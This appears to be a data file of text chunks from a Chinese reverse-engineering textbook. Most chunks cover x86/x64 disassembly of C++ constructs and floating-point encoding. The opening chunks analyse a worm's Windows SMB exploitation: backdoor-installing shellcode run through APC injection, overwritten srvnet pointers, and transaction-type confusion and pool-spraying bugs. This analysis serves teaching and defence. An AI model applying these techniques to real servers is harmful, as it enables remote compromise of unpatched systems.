ffd001f0 ffffffff ffdff1e0 00000000 00000000 ffd00200 ffffffff ffdff1f0 40c03100 e8087490 00000009 e80024c2 ffdff200 000000a7 0001e8c3 90eb0000 0176b95b SrvNetCommonReceiveHandler函数实现代码 .text:0001B240 mov eax, [esi+12Ch] ;eax = [srvnet_recv+0x12c] .text:0001B28D call dword ptr [eax+4] ;调用shellcode, [[srvnet_recv+0x12c]+4] Shellcode安装后门利用apc注入执行payload: ffdff1f1 31c0 xor eax,eax ffdff1f3 40 inc eax ffdff1f4 90 nop ffdff1f5 7408 je ffdff1ff ffdff1f7 e809000000 call ffdff205 ffdff1fc c22400 ret 24h ffdff1ff e8a7000000 call ffdff2ab ffdff204 c3 ret 如代码清单17-21所示由于溢出导致对srvnet.sys分配的srvnet对象内存越界写入。"},
    {"text": "该对象未公开其中覆盖了srvnet对象两个重要的成员srvnet_recv地址为876c0034覆盖内容为0xffdff020和MDL地址为876c0048覆盖内容为0xffdfef80。"},
    {"text": "导致shellcode写入ffdfef80+0x80的位置srvnet_recv包含一个函数指针ffdff1f1SMB断开连接时该函数指针调用代码在SrvNetCommonReceiveHandler中。"},
    {"text": "17.3.2 漏洞2利用分析 该漏洞位于SMB_COM_TRANSACTION2(0x32)协议发送数据长度大于0x10000才会触发漏洞。 SMB_COM_TRANSACTION2(0x32)的参数如代码清单17-19所示TotalDataCount的参数为USHORT其发送的数据大小不能超过0xffff为了发送超过0xfffff的数据该病毒利用了SMB_COM_TRANSACTION_SECONDARY (0x26)命令的漏洞如代码清单17-22所示。 代码清单17-22 漏洞原理分析代码片段2 SMB_COM_NT_TRANSACT(0xA0)命令协议参数 SMB_Parameters { UCHAR WordCount; Words { UCHAR MaxSetupCount; USHORT Reserved1; ULONG TotalParameterCount; ULONG TotalDataCount; ULONG MaxParameterCount; ULONG MaxDataCount; ULONG ParameterCount; ULONG ParameterOffset; ULONG DataCount; ULONG DataOffset; UCHAR SetupCount; USHORT Function; USHORT Setup[SetupCount]; } } SrvSmbTransactionSecondary函数实现代码 00050F56 mov eax, [ebx+4Ch] 00050F59 push 0 ; int 00050F5B push esi ; Resource 00050F5C push eax ; int 00050F5D mov [ebp+Resource], eax 00050F60 call _SrvFindTransaction@12 ; 调用函数查找SMB_COM_TRANSACTION_SECONDARY对应的SMB_COM_TRANSACTION SrvFindTransaction函数实现代码 0004F433 lea eax, [ecx-24] 0004F436 cmp [eax+122], si 0004F43A jnz short loc_4F45D ; 判断SMB_Header->TID 0004F43C mov bx, [eax+124] 0004F440 cmp bx, [edi+26] 0004F444 jnz short loc_4F45D ; 判断SMB_Header->PIDLow 0004F446 mov bx, [eax+126] 0004F44A cmp bx, [edi+28] ; 判断SMB_Header->UID 0004F44E jnz short loc_4F45D 0004F450 mov bx, word ptr [ebp+arg_8] 0004F454 cmp [eax+128], bx ; 判断SMB_Header->MID 0004F45B jz short loc_4F467 ; 匹配 0004F45D mov ecx, [ecx] 0004F45F cmp ecx, edx 0004F461 jnz short loc_4F433 ; 循环遍历查找SMB_COM_TRANSACTION 如代码清单17-22所示SMB_COM_NT_TRANSACT(0xA0)命令的TotalDataCount为ULONG该命令可以发送长度超过0xffff的数据当SMB_COM_NT_TRANSACT命令发送的数据过大时会进行拆包发送数据拆包命令流程如下。 SMB_COM_NT_TRANSACT (0xA0) SMB_COM_TRANSACTION_SECONDARY (0x26) SMB_COM_TRANSACTION2 (0x32) SMB_COM_TRANSACTION2_SECONDARY (0x33) SMB_COM_NT_TRANSACT (0xA0) SMB_COM_TRANSACTION_SECONDARY (0x26) 但是服务端的SrvSmbTransactionSecondary函数并没有检查SMB_COM_TRANSACTION_SECONDARY命令的类型只检查了SMB_Header的TID、UID、PID和MID只要命令类型为SMB_COM_TRANSACTION2_SECONDARY服务端就认为该命令类型为SMB_COM_TRANSACTION2。 因此通过伪造最后一次的SMB_COM_TRANSACTION_SECONDARY命令类型为SMB_COM_TRANSACTION2_SECONDARY可以发送数据超过0xffff的SMB_COM_TRANSACTION2命令只须保证TID、UID、PID和MID匹配即可。"},
    {"text": "该病毒利用SMB_COM_SESSION_SETUP_ANDX (0x73)命令的漏洞进行稳定喷射如代码清单17-23所示。 代码清单17-23 漏洞原理分析代码片段3 SMB_COM_SESSION_SETUP_ANDX (0x73) WordCount类型为13的数据格式: SMB_Parameters { UCHAR WordCount; //13 Words { UCHAR AndXCommand; UCHAR AndXReserved; USHORT AndXOffset; USHORT MaxBufferSize; USHORT MaxMpxCount; USHORT VcNumber; ULONG SessionKey; USHORT OEMPasswordLen; USHORT UnicodePasswordLen; ULONG Reserved; ULONG Capabilities; } } SMB_Data { USHORT ByteCount; Bytes { UCHAR OEMPassword[]; UCHAR UnicodePassword[]; UCHAR Pad[]; SMB_STRING AccountName[]; SMB_STRING PrimaryDomain[]; SMB_STRING NativeOS[]; SMB_STRING NativeLanMan[]; } } WordCount类型为12的数据格式: SMB_Parameters { UCHAR WordCount; //12 { UCHAR AndXCommand; UCHAR AndXReserved; USHORT AndXOffset; USHORT MaxBufferSize; USHORT MaxMpxCount; USHORT VcNumber; ULONG SessionKey; USHORT SecurityBlobLength; ULONG Reserved; ULONG Capabilities; } } SMB_Data { USHORT ByteCount; Bytes { UCHAR SecurityBlob[SecurityBlobLength]; SMB_STRING NativeOS[]; SMB_STRING NativeLanMan[]; } } BlockingSessionSetupAndX函数实现代码: 00039F2D mov eax, [edi+70h] 00039F30 mov ax, [eax+0Ah] 00039F34 shr ax, 0Fh 00039F38 and al, 1 00039F3A cmp esi, 1 00039F3D mov [ebp+var_18], al 00039F40 jg loc_3A2AD 00039F46 test cl, cl 00039F48 jz loc_3A2AD ; if ((request->Capablilities & CAP_EXTENDED_SECURITY) ; && !(smbHeader->Flags2 & FLAGS2_EXTENDED_SECURITY)) ; 跳转到loc_3A2AD的GetNtSecurityParameters 0003A30B lea eax, [ebp+buff_size+4] 0003A30E push eax ; 参数9返回计算的大小,buff_size+4 0003A30F lea eax, [ebp+buff_size] 0003A312 push eax ; int 0003A313 lea eax, [ebp+var_64] 0003A316 push eax ; PUNICODE_STRING 0003A317 lea eax, [ebp+UnicodeString] 0003A31A push eax ; DestinationString 0003A31B lea eax, [ebp+Dst] 0003A31E push eax ; int 0003A31F lea eax, [ebp+var_38] 0003A322 push eax ; int 0003A323 lea eax, [ebp+DestinationString.Buffer] 0003A326 push eax ; int 0003A327 lea eax, [ebp+var_50.Buffer] 0003A32A push eax ; char 0003A32B push edi ; int 0003A32C call _GetNtSecurityParameters@36 ; 根据ByteCount计算要申请的池的大小 0003A4B3 mov esi, [ebp+buff_size+4] 0003A4B6 jz short loc_3A4BE 0003A4B8 inc edi 0003A4B9 and edi, 0FFFFFFFEh 0003A4BC jmp short loc_3A4C0 0003A4BE add esi, esi 0003A4C0 push 15h 0003A4C2 pop edx 0003A4C3 mov ecx, esi ; 参数1申请池大小 0003A4C5 call @SrvAllocateNonPagedPool@8 ; 申请内存 如代码清单17-23所示在BlockingSessionSetupAndX函数中如果发送的SMB_COM_SESSION_SETUP_ANDX请求中WordCount的类型为12且数据包中SMB_Parameters的Capabilities含有CAP_EXTENDED_SECURITY标志但没有FLAGS2_EXTENDED_SECURITY标志系统会错误地将类型为12的数据包当作类型为13的数据包处理导致服务端从错误的位置读取ByteCount的值。"},
    {"text": "因为ByteCount用来计算缓冲区的大小所以接下来的GetNtSecurityParameters会计算出一个错误的大小病毒据此控制SrvAllocateNonPagedPool申请的内存池大小。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 6.3 使用ebp或esp寻址 在前面的内容中我们接触到了很多高级语言中的变量访问。"},
    {"text": "// 变量n所在地址为ebp-4对这个变量进行访问其实就是按dword方式读写这个地址 int n = 1; 0040B7C8 mov dword ptr [ebp-4],1 // 变量ch所在地址为ebp-8对这个变量进行访问其实就是按byte方式读写这个地址 char ch = 2; 0040B7CF mov byte ptr [ebp-8],2 由此可见局部变量是通过栈空间保存的。"},
    {"text": "由于局部变量使用栈空间进行存储因此进入函数后的第一件事就是开辟函数中局部变量所需的栈空间。 这时函数中的局部变量就有了各自的内存空间在函数结尾处执行释放栈空间的操作。"},
    {"text": "而在02编译选项中为了提升程序的效率省去了这些检测工作在用户编写的代码中只要栈顶是稳定的就可以不再使用ebp利用esp直接访问局部变量因此节省一个寄存器资源。"},
    {"text": "代码清单6-4 使用esp访问局部变量Release版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int n = 1; scanf(\"%d\", &n); char ch = 2; scanf(\"%c\", &ch); printf(\"%d %c\\n\", n, ch); return 0; } //x86_vs对应汇编代码讲解 00401020 var_5 = byte ptr -5 ;IDA定义的局部变量标号IDA环境下局部变量用var_开头 00401020 var_4 = dword ptr -4 ;IDA定义的局部变量标号 00401020 00401020 sub esp, 8 ;局部变量栈空间开辟开辟8字节栈空间 00401023 lea eax, [esp+8+var_4] ;这句指令等价于esp+8-4标号var_4等于-4IDA自动 ;识别出来访问的变量地址并调整显示方式 ;省去了我们自己计算偏移量这个过程 ;类似于高级语言中为变量起名字使得显示更具可读性 00401027 mov [esp+8+var_4], 1 ;初始化var_4变量为1 0040102F push eax ;eax中保存[esp+8-4]的值将eax作为参数入栈 00401030 push offset unk_417160 ;\"%d\" 00401035 call sub_4010A0 ;调用scanf函数 0040103A lea eax, [esp+10h+var_5];在分析指令的时候IDA会根据代码上下文归纳出影响栈顶 ;的指令以确定esp相对寻址所访问的目标。 于是IDA识 ;别出以下相对寻址指令的目标是该函数中的局部变量var_5因为在var_5前执行了2次push指令所以esp ;指向的栈顶地址存在-8的差值而且本函数第一条指令sub ;esp, 8也是影响栈顶的。 综合以上信息IDA为了表达 ;出此时访问的局部变量为var_5而var_5又被定义为-5 ;则需要对esp相对寻址做调整了先求解[esp+X+var_5] ;中的X此处求解的X值为10h然后就可以表达为 ;[esp+10h+var_5]以加强代码的可读性。 ;笔者建议读者对此问题可以在调试器环境下观察栈窗口 ;自己计算一下加深其后讲解的体会和理解 0040103E mov [esp+10h+var_5], 2 ;为var_5处的局部变量赋值2 00401043 push eax ;功能同上esp -= 4 00401044 push offset unk_417164 ;\"%c\"esp-=4 00401049 call sub_4010A0 ;功能同上 0040104E movsx eax, [esp+18h+var_5];因为又执行了两次push指令并且没有平衡栈所以需要 ;再次调整esp的相对偏移值这里的调整值为18h。 注 ;意在这里的movsx指令处点一下Q键可以得到movsx ;edx, byte ptr [esp+13h]按K键可还原名称。 ;这里的movsx指令暴露出var_5的类型为有符号类型 ;byte ptr说明长度为单字节对应C语言中的定义就应 ;该是char了。 当然读者也可以考察使用变量作参数的 ;函数如果函数功能是已知的那么参数类型也已知 ;了进而可推导变量的类型如果遇到本例这类格式化 ;函数那么鉴定变量类型就更简单了 00401053 push eax ;esp -= 4 00401054 push [esp+1Ch+var_4] ;esp -= 4 00401058 push offset aDC ;\"%d %c\\n\", esp -= 4 0040105D call sub_401070 ;调用printf函数 00401062 xor eax, eax 00401064 add esp, 24h ;经过优化后代码一次性平衡了栈顶esp。"},
    {"text": "在此函数中 ;共执行了7次push操作而函数scanf和printf函数 ;都是__cdecl调用方式所以函数内没有平衡栈需要 ;调用者来平衡栈顶指针esp又因为在退出函数前还 ;需释放局部变量的8字节见函数入口指令空间因 ;此esp需要加7*4+8=36转换成十六进制后的24h执行 00401067 retn ;ret指令结束函数调用 //x86_gcc对应汇编代码讲解 00402590 argc = dword ptr 8 ;IDA定义的局部变量标号 00402590 argv = dword ptr 0Ch ;IDA定义的局部变量标号 00402590 envp = dword ptr 10h ;IDA定义的局部变量标号 00402590 00402590 push ebp ;保存栈底 00402591 mov ebp, esp ;保存调用方的栈底 00402593 and esp, 0FFFFFFF0h ;esp低4位置0保证栈模4对齐 00402596 sub esp, 20h ;申请32字节变量空间 00402599 call ___main ;调用初始化函数 0040259E lea eax, [esp+1Ch] ;eax中保存[esp+1C]的地址 004025A2 mov dword ptr [esp], offset aD ;\"%d\",参数入栈 004025A9 mov [esp+4], eax ;eax中保存[esp+1C]的值将eax作为参数入栈 004025AD mov dword ptr [esp+1Ch], 1;初始化[esp+1Ch]变量为1 004025B5 call _scanf ;调用scanf函数 004025BA lea eax, [esp+1Bh] ;eax中保存[esp+1Bh]的地址 004025BE mov byte ptr [esp+1Bh], 2 ;初始化[esp+1Bh]变量为2 004025C3 mov [esp+4], eax ;eax中保存[esp+1Bh]的值将eax作为参数入栈 004025C7 mov dword ptr [esp], offset aC ;\"%c\"参数入栈 004025CE call _scanf ;调用scanf函数 004025D3 movsx eax, byte ptr [esp+1Bh] ;eax保存[esp+1Bh]的值 004025D8 mov dword ptr [esp], offset aDC ;\"%d %c\\n\"参数入栈 004025DF mov [esp+8], eax ;将eax作为参数入栈 004025E3 mov eax, [esp+1Ch] ;eax保存[esp+1Ch]的值 004025E7 mov [esp+4], eax ;将eax作为参数入栈 004025EB call _printf ;调用printf函数 004025F0 xor eax, eax 004025F2 leave ;等价于mov esp, ebppop ebp ;一次性平衡了栈顶esp 004025F3 retn ;执行ret指令结束函数调用 //x86_clang对应汇编代码讲解 00401000 var_5 = byte ptr -5 ;IDA定义的局部变量标号 00401000 var_4 = dword ptr -4 ;IDA定义的局部变量标号 00401000 00401000 sub esp, 8 ;申请8字节变量空间 00401003 lea eax, [esp+8+var_4] ;eax中var_4变量的地址 00401007 mov [esp+8+var_4], 1 ;初始化var_4变量为1 0040100F push eax ;eax中保存var_4的值将eax作为参数入栈 00401010 push offset unk_417160 ;\"%d\"参数入栈 00401015 call sub_401060 ;调用scanf函数 0040101A add esp, 8 ;平衡栈 0040101D lea eax, [esp+8+var_5] ;eax中var_5变量的地址 00401021 mov [esp+8+var_5], 2 ;初始化var_5变量为2 00401026 push eax ;eax中保存var_5的值将eax作为参数入栈 00401027 push offset unk_417163 ;\"%c\"参数入栈 0040102C call sub_401060 ;调用scanf函数 00401031 add esp, 8 ;平衡栈 00401034 movsx eax, [esp+8+var_5] ;eax中保存var_5的值 00401039 push eax ;将eax作为参数入栈 0040103A push [esp+0Ch+var_4] ;将var_4的值作为参数入栈 0040103E push offset aDC ;\"%d %c\\n\"参数入栈 00401043 call sub_4010A0 ;调用printf函数 00401048 add esp, 0Ch ;平衡栈 0040104B xor eax, eax 0040104D add esp, 8 ;平衡局部变量空间的栈 00401050 retn ;执行ret指令结束函数调用 在代码清单6-4中通过IDA的标识可以轻松获得函数实现中的两个局部变量。"},
    {"text": "图6-3为变量在栈中占用的地址空间假设进入函数后未分配栈空间的esp为0x0012FFF0。 图6-3 使用esp寻址栈空间 使用esp寻址后不必在每次进入函数后都调整栈底ebp这样既减少了ebp的使用又省去了维护ebp的相关指令因此可以有效提升程序的执行效率。"},
    {"text": "为了省去对偏移量的计算方便分析IDA在分析过程中事先将函数中每个变量的偏移值计算出来得出一个固定偏移值用标号将其记录。 那么IDA是如何计算这个固定偏移值的呢 在进入函数后执行申请变量栈空间的相关指令调整esp然后以调整前的esp作为基址计算局部变量的偏移值即图6-3中的地址0x0012FFF0。 在函数的执行过程中如果存在对栈顶操作的相关指令则调整esp相对间接寻址中的相对值再加上标号值寻址到变量所在的地址。 被调整的esp的相对值是负数这样一来因为使用的是调整前的esp作为基址而栈顶的生长方向是向0增长所以变量的偏移值必然为负数。 假设esp进入函数前地址为0x0012FFF0示例中使用如下两个整型变量。 var_0 = -4 ; 定义第一个变量偏移量所在地址为0x0012FFEC var_1 = -8 ; 定义第二个变量偏移量所在地址为0x0012FFE8 sub esp, 8 ; 申请变量栈空间esp保存地址变为0x0012FFE8 ;使用申请变量栈空间前的esp作为基址就需要调整 esp将其加8 lea eax, [esp+8+var_0] push eax ; 执行push指令esp被减4esp地址变为0x0012FFE4 ;因为esp被减4所以需要对基址esp进行二次调整加8后再加4 ;最终得到数值0x0C lea eax [esp+0Ch+var_1]"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 9.3 静态数据成员 9.1节简单介绍了静态数据成员。"},
    {"text": "当类中定义了静态数据成员时因为静态数据成员和静态变量原理相同都是含有作用域的特殊全局变量所以该静态数据成员的初值会被写入编译链接后的执行文件。 当程序被加载时操作系统将执行文件中的数据读到对应的内存单元里静态数据成员已经存在而这时类并没有实例对象。"},
    {"text": "静态数据成员和对象之间的生命周期不同并且静态数据成员也不属于某一对象与对象之间是一对多的关系。 静态数据成员仅仅和类相关和对象无关多个对象可以拥有同一个静态数据成员如图9-4所示。"},
    {"text": "可见类中的普通数据成员对于同类对象而言是独立存在的而静态数据成员则是所有同类对象的共用数据静态数据成员和对象是一对多的关系。 图9-4 普通数据成员与静态数据成员区别 因为静态数据成员有此特性所以在计算类和对象的长度时静态数据成员属于特殊的独立个体不被计算在其中代码如下所示。"},
    {"text": "#include <stdio.h> class Static { //类CStatic的定义 public: static int staticNum; //静态数据成员 int num; //普通数据成员 }; int Static::staticNum = 0; //静态数据成员初始化 int main() { Static obj; int size = sizeof(obj); //计算对象长度 //转换后的汇编代码得到长度为4 //mov dword ptr [ebp-14h],4 printf(\"Static : %d\\n\", size); //显示对象长度 return 0; } 通过sizeof获得对象obj占用的内存长度为4。"},
    {"text": "printf(\"0x%08x\\n\", &obj.staticNum); //使用对象直接调用静态数据成员 push 0A2A2D4h //静态成员所在地址为0x0A2A2D4 //部分printf代码分析略 printf(\"0x%08x\\n\", &obj.num); //获取普通数据成员地址 //获取对象的首地址并存入ecx得到数据成员num的地址 lea eax,[ebp-0Ch] //部分printf代码分析略 在以上代码分析中静态数据成员所在的地址为0x0A2A2D4而普通数据成员的地址在ebp-0Ch中是一个栈空间地址。"},
    {"text": "在成员函数中使用这两种数据成员时因为静态数据成员属于全局变量并且不属于任何对象所以访问时无须this指针。 而普通的数据成员属于对象所有访问时需要使用this指针如代码清单9-4所示。"},
    {"text": "代码清单9-4 在成员函数中使用静态数据成员与普通数据成员Debug版 // C++ 源码 #include <stdio.h> class Person { public: void show(); static int count; //静态数据成员 int age; //普通数据成员 }; int Person::count = 0; void Person::show() { printf(\"age = %d , count = %d\", age, count); } int main(int argc, char* argv[]) { Person person; person.age = 1; person.count = 2; person.show(); return 0; } //x86_vs对应汇编代码讲解 00401030 push ebp 00401031 mov ebp, esp 00401033 push ecx ;申请对象空间 00401034 mov dword ptr [ebp-4], 1 ;person.age=1普通数据成员赋值 0040103B mov dword_4198B0, 2 ;person.count=2静态数据成员赋值 00401045 lea ecx, [ebp-4] ;传递this指针 00401048 call sub_401000 ;调用show成员函数 0040104D xor eax, eax 0040104F mov esp, ebp 00401051 pop ebp 00401052 retn 00401000 push ebp 00401001 mov ebp, esp 00401003 push ecx 00401004 mov [ebp-4], ecx ;获取this指针 00401007 mov eax, dword_4198B0 ;直接访问静态数据成员count 0040100C push eax 0040100D mov ecx, [ebp-4] ;获取this指针 00401010 mov edx, [ecx] ;通过this指针访问数据成员age 00401012 push edx 00401013 push offset aAgeDCountD ;\"age = %d , count = %d\" 00401018 call sub_4010A0 ;调用printf函数 0040101D add esp, 0Ch 00401020 mov esp, ebp 00401022 pop ebp 00401023 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001030 mov [rsp+10h], rdx 0000000140001035 mov [rsp+8], ecx 0000000140001039 sub rsp, 38h 000000014000103D mov dword ptr [rsp+20h], 1 ;person.age=1普通数据成员赋值 0000000140001045 mov cs:dword_14001CA40, 2 ;person.count=2静态数据成员赋值 000000014000104F lea rcx, [rsp+20h] ;传递this指针 0000000140001054 call sub_140001000 ;调用show成员函数 0000000140001059 xor eax, eax 000000014000105B add rsp, 38h 000000014000105F retn 0000000140001000 mov [rsp+8], rcx ;获取this指针 0000000140001005 sub rsp, 28h 0000000140001009 mov r8d, cs:dword_14001CA40 ;直接访问静态数据成员count 0000000140001010 mov rax, [rsp+30h] ;获取this指针 0000000140001015 mov edx, [rax] ;通过this指针访问数据成员age 0000000140001017 lea rcx, aAgeDCountD ;\"age=%d,count=%d\" 000000014000101E call sub_1400010C0 ;调用printf函数 0000000140001023 add rsp, 28h 0000000140001027 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 静态数据成员在反汇编代码中很难被识别这是因为其展示形态与全局变量相同很难被还原成对应的高级代码。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 8.6 存放指针类型数据的数组 顾名思义存放指针类型数据的数组中各数据元素都是由相同类型的指针。"},
    {"text": "组成部分1 组成部分2 组成部分3 类型名* 数组名称 [元素个数]; 指针数组主要用于管理同种类型的指针一般用于处理若干个字符串如二维字符数组。"},
    {"text": "代码清单8-13 指针数组的识别Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { char * ary[3] = {\"Hello \", \"World \", \"!\\n\"};//字符串指针数组定义 for (int i = 0; i < 3; i++) { printf(ary[i]); //显示输出字符串数组中的各项 } return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 14h 00401006 mov eax, ___security_cookie 0040100B xor eax, ebp 0040100D mov [ebp-4], eax 00401010 mov dword ptr [ebp-10h], offset aHello ;ary[0]=\"Hello \" 00401017 mov dword ptr [ebp-0Ch], offset aWorld ;ary[1]=\"World \" 0040101E mov dword ptr [ebp-8], offset asc_412170 ;ary[2]=\"!\\n\" 00401025 mov dword ptr [ebp-14h], 0 ;i=0 0040102C jmp short loc_401037 ;for循环 0040102E mov eax, [ebp-14h] ;eax=i 00401031 add eax, 1 00401034 mov [ebp-14h], eax ;i++ 00401037 cmp dword ptr [ebp-14h], 3 0040103B jge short loc_40104F 0040103D mov ecx, [ebp-14h] ;ecx=i 00401040 mov edx, [ebp+ecx*4-10h] ;edx=ary[i] 00401044 push edx ;字符串地址入栈 00401045 call sub_4010A0 ;调用printf函数 0040104A add esp, 4 0040104D jmp short loc_40102E 0040104F xor eax, eax 00401051 mov ecx, [ebp+var_4] 00401054 xor ecx, ebp 00401056 call @__security_check_cookie@4 ;__security_check_cookie(x) 0040105B mov esp, ebp 0040105D pop ebp 0040105E retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 58h 000000014000100D mov rax, cs:__security_cookie 0000000140001014 xor rax, rsp 0000000140001017 mov [rsp+40h], rax 000000014000101C lea rax, aHello 0000000140001023 mov [rsp+28h], rax ;ary[0]=\"Hello \" 0000000140001028 lea rax, aWorld 000000014000102F mov [rsp+30h], rax ;ary[1]=\"World \" 0000000140001034 lea rax, asc_1400122D0 000000014000103B mov [rsp+38h], rax ;ary[2]=\"!\\n\" 0000000140001040 mov dword ptr [rsp+20h], 0 ;i=0 0000000140001048 jmp short loc_140001054 ;for循环 000000014000104A mov eax, [rsp+20h] 000000014000104E inc eax 0000000140001050 mov [rsp+20h], eax ;i++ 0000000140001054 cmp dword ptr [rsp+20h], 3 0000000140001059 jge short loc_14000106C 000000014000105B movsxd rax, dword ptr [rsp+20h] ;rax=i 0000000140001060 mov rcx, [rsp+rax*8+28h] ;rcx=ary[i] 0000000140001065 call sub_1400010E0 ;调用printf函数 000000014000106A jmp short loc_14000104A 000000014000106C xor eax, eax 000000014000106E mov rcx, [rsp+40h] 0000000140001073 xor rcx, rsp 0000000140001076 call __security_check_cookie 000000014000107B add rsp, 58h 000000014000107F retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单8-13中定义了字符串数组该数组由3个指针变量组成故32位程序长度为12字节64位程序长度为24字节。"},
    {"text": "char ary[3][10] = {{\"Hello \"},{\"World \"},{\"!\\r\\n\"}}; 同样存储了3个字符串指针数组中存储的是各字符串的首地址而二维字符数组中存储的是每个字符串的字符数据。"},
    {"text": "char ary[3][10] = { \"Hello \", mov eax,[string \"Hello \" (00420f84)] ; 一维数组初始化过程 mov dword ptr [ebp-30h],eax mov cx,word ptr [string \"Hello \"+4 (00420f88)] mov word ptr [ebp-2Ch],cx mov dl,byte ptr [string \"Hello \"+6 (00420f8a)] mov byte ptr [ebp-2Ah],dl xor eax,eax mov word ptr [ebp-29h],ax mov byte ptr [ebp-27h],al {\"World \"},{\"!\\r\\n\"}}; // 初始化分析略 在二维字符数组初始化的过程中赋值的不是字符串地址而是字符数据据此可以明显地将二维字符数组与字符指针数组区分开。"},
    {"text": "printf(ary[i]); mov edx,dword ptr [ebp-24h] ; 在二维字符数组ary中一维数组大小为10 ; 用下标值乘以0Ah以偏移到下一个一维数组首地址 imul edx,edx,0Ah lea eax,[ebp+edx-20h] ; 取一维数组地址 push eax call printf (00401160) add esp,4 虽然二维字符数组和指针数组的寻址过程非常相似但依然有一些不同。 字符指针数组寻址后得到的是数组成员内容而二维字符数组寻址后得到的是数组中某个一维数组的首地址。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 2.2 浮点数类型 计算机也需要运算和存储数学中的实数。"},
    {"text": "在计算机的发展过程中曾产生过多种存储实数的方式有的现在已经很少使用了。 不管如何存储都可以将其划分为定点实数存储方式和浮点实数存储方式两种。 所谓定点实数就是约定整数位和小数位的长度比如用4字节存储实数我们可以约定两个高字节存放整数部分两个低字节存储小数部分。 这样做的好处是计算效率高缺点也显而易见存储不灵活比如我们想存储65536.5由于整数的表达范围超过了2字节就无法用定点实数存储方式了。 对应地也有浮点实数存储方式道理很简单就是用一部分二进制位存放小数点的位置信息我们可以称之为“指数域”其他的数据位用来存储没有小数点时的数据和符号我们可以称之为“数据域”“符号域”。 在访问时取得指数域与数据域运算后得到真值如67.625利用浮点实数存储方式数据域可以记录为67625小数点的位置可以记为10的-3次方对该数进行访问时计算一下即可。"},
    {"text": "在80286之前程序员常常为实数的计算伤脑筋而后来出现的浮点协处理器可以协助主处理器分担浮点运算程序员计算实数的效率因此得到提升于是浮点实数存储方式也就普及开来成为现在主流的实数存储方式。"},
    {"text": "这两种数据类型在内存中同样以十六进制方式存储但与整型类型有所不同。 整型类型是将十进制转换成二进制保存在内存中以十六进制方式显示。"},
    {"text": "2.2.1 浮点数的编码方式 浮点数编码转换采用的是IEEE规定的编码标准float和double这两种类型数据的转换原理相同但由于表示的范围不一样编码方式有些许区别。"},
    {"text": "例如将float类型的12.25f转换为IEEE编码须将12.25f转换成对应的二进制数1100.01整数部分为1100小数部分为01小数点向左移动每移动1次指数加1移动到除符号位的最高位为1处停止移动这里移动3次。 对12.25f进行科学记数法转换后二进制部分为1.10001指数部分为3。"},
    {"text": "尾数位10001 000000000000000000当不足23位时低位补0填充。 由于尾数位中最高位1是固定值故忽略不计只要在转换回十进制数时加1即可。 为什么指数位要加127呢这是因为指数可能出现负数十进制数127可表示为二进制数01111111IEEE编码方式规定当指数小于0111111时为一个负数反之为正数因此01111111为0。"},
    {"text": "那么什么情况下指数位可以为负呢根据科学记数法小数点向整数部分移动时指数做加法。 相反小数点向小数部分移动时指数需要以0起始做减法。"},
    {"text": "浮点数-0.125f转换IEEE编码后将会是一个符号位为1、指数部分为负的小数。 -0.125f经转换后二进制部分为0.001用科学记数法表示为1.0指数为-3。 -0.125fIEEE转换后各位的情况如下。"},
    {"text": "图2-4 单精度浮点数-0.125f转换为IEEE编码 上面的两个浮点数小数部分转换为二进制时都是有穷的如果小数部分转换为二进制时得到一个无穷值则会根据尾数部分的长度舍弃多余的部分。 如单精度浮点数1.3f小数部分转换为二进制就会产生无穷值依次转换为0.3、0.6、1.2、0.4、0.8、1.6、1.2、0.4、0.8……转换后得到的二进制数为1.01001100110011001100110到第23位终止尾数部分无法保存更大的值。"},
    {"text": "由于在转换二进制过程中产生了无穷值舍弃了部分位数所以进行IEEE编码转换后得到的是一个近似值存在一定的误差。 再次将这个IEEE编码值转换成十进制小数得到的值为1.2516582四舍五入保留一位小数之后为1.3。"},
    {"text": "代码清单2-1 正确浮点数比较 float f1 = 0.0001f; // 精确范围 if (f2 >= -f1 && f2 <= f1) { // f1等于0 } 2. double类型的IEEE编码 前文讲解了单精度浮点类型的IEEE编码。"},
    {"text": "浮点寄存器的使用就是压栈、出栈的过程。 当ST0中存在数据时执行压栈操作后ST0中的数据将装入ST1中如无出栈操作将按顺序向下压栈直到将浮点寄存器占满为止。 常用浮点数指令的介绍如表2-1所示其中IN表示操作数入栈OUT表示操作数出栈。 表2-1 常用浮点数指令表 其他运算指令和普通指令类似只须在前面加F即可如FSUB和FSUBP等。"},
    {"text": "当ST(0)中有值时便会将ST(0)中的数据顺序向下存放到ST(1)中然后再将数据放入ST(0)。 如果再次操作ST(0)则会先将ST(1)中的数据放入ST(2)然后将ST(0)中的数据放入ST(1)最后将新的数据存放到ST(0)。 以此类推在8个浮点寄存器都有值的情况下继续向ST(0)中的存放数据这时会丢弃ST(7)中的数据信息。"},
    {"text": "MM寄存器是64位的XMM是128位的而YMM是256位的。 每个YMM寄存器可以存放8个32位值或4个64位值可以是整数也可以是浮点数。 YMM寄存器一共有16个YMM0YMM15而XMM是YMM的低128位。"},
    {"text": "常用SSE浮点数指令的介绍如表2-2所示。 表2-2 常用SSE浮点数指令表 下面通过一个简单的示例介绍各指令的使用流程帮助读者熟悉浮点指令的使用方法如代码清单2-2所示。"},
    {"text": "这就是使用printf函数以整数方式输出浮点数时会产生错误的原因。 printf以整数方式输出时将对应参数作为4字节数据长度按补码方式解释而真正压入的参数为浮点类型时却是8字节长度需要按浮点编码方式解释。"},
